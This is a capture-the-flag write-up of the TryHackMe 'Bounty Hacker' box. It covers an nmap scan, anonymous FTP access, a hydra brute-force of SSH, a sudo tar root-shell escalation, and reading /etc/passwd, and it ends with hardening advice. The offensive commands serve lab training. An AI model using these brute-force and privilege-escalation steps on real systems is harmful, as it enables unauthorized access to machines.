THM{Bounty Hacker} - Severity: Easy

Gravite & guyizdez

1 Introduction

We're two friends who share a passion for cybersecurity and solving challenges, so we team up to tackle TryHackMe and Hackthebox boxes. Whether it's cracking codes, exploiting vulnerabilities, or learning new skills, we do it for the thrill of the challenge and the fun of problem-solving together. This time we picked the Bounty Hacker CTF from THM.

2 First Scan

This is the first step to gather information about the target.

2.1 nmap

Our first scan to see what ports are open on the system:

```
nmap -sV -sC -oA initalScan -vv $ip

Scanning 10.10.103.194 [1000 ports]
Discovered open port 21/tcp on 10.10.103.194
Discovered open port 22/tcp on 10.10.103.194
Discovered open port 80/tcp on 10.10.103.194

PORT      STATE  SERVICE         REASON       VERSION
20/tcp    closed ftp-data        conn-refused
21/tcp    open   ftp             syn-ack      vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_Can't get directory listing: TIMEOUT
| ftp-syst:
|   STAT:
| FTP server status:
|      Connected to ::ffff:10.9.2.53
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 3
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp    open   ssh             syn-ack      OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux;
    protocol 2.0)

80/tcp    open   http            syn-ack      Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
```

2.2 FTP

We see, that *ftp* and *ssh* are running, since port 21 is open. The Port 20 seems to be closed, which could indicate that FTP-Passive mode is used. Also, the standard ssh Port 22 is open. It is important to note here that we need to be in passive mode. We can do this by just typing the command *passive* after anonymously login We can see two files here:

- locks.txt
- task.txt

locks.txt seems to be a password list. We try it for the ssh service

```
hydra -l lin -P locks.txt  ssh://\$IP

[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce
    the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 26 login tries (l:1/p:26), ~2 tries per task
[DATA] attacking ssh://10.10.103.194:22/
[22][ssh] host: 10.10.103.194   login: lin   password: XXX
1 of 1 target successfully completed, 1 valid password found
```

We have now the ssh password for the user lin. If we search through the directories we can find a user flag.

2.3 Root Priviliges

There is also a root flag. For this we need to get root privileges. With the command *sudo -l* we can identify which specific commands we can execute with elevated privileges.

```
lin@bountyhacker: sudo -l
[sudo] password for lin:
Matching Defaults entries for lin on bountyhacker:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/
    sbin\:/bin\:/snap/bin

User lin may run the following commands on bountyhacker:
    (root) /bin/tar
```

We can use GTFOBins to see how we can exploit tar.

```
sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
```

Now we have root access and can navigate freely through all directories. That means that we can also see the root flag now. It can be found in */root* since we know that this directory must exist regards this command:

```
root@bountyhacker:~# cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
[...]
dnsmasq:x:112:65534:dnsmasq,,,:/var/lib/misc:/bin/false
ftp:x:121:129:ftp daemon,,,:/srv/ftp:/bin/false
lin:x:1001:1001:Lin,,,:/home/lin:/bin/bash
sshd:x:122:65534::/var/run/sshd:/usr/sbin/nologin
```

The structure of each entry is like this:

```
    username:x:UID:GID:description:/home/username:/bin/bash
```

Services like *dnsmasq* or *ftp* also have a user account because of security considerations, since Linux is build by the *Least Privilege Principle*. This also provides an isolation of processes. For example, if a vulnerability is exploited in apache (the web server), the attacker would only have access to files and resources that the apache user can access, not the entire system.

3 Recommendations

Based on the findings from the penetration test, the following actions are recommended to enhance the security posture of the system:

3.1 Do not use *anonymous* ftp login

- Deactivate the anonymous login.

3.2 Address SUID Binaries

- User accounts should be built by the least privilege principle.
- Review and Secure SUID/SGID Binaries: Regularly audit and secure SUID/SGID binaries to prevent privilege escalation.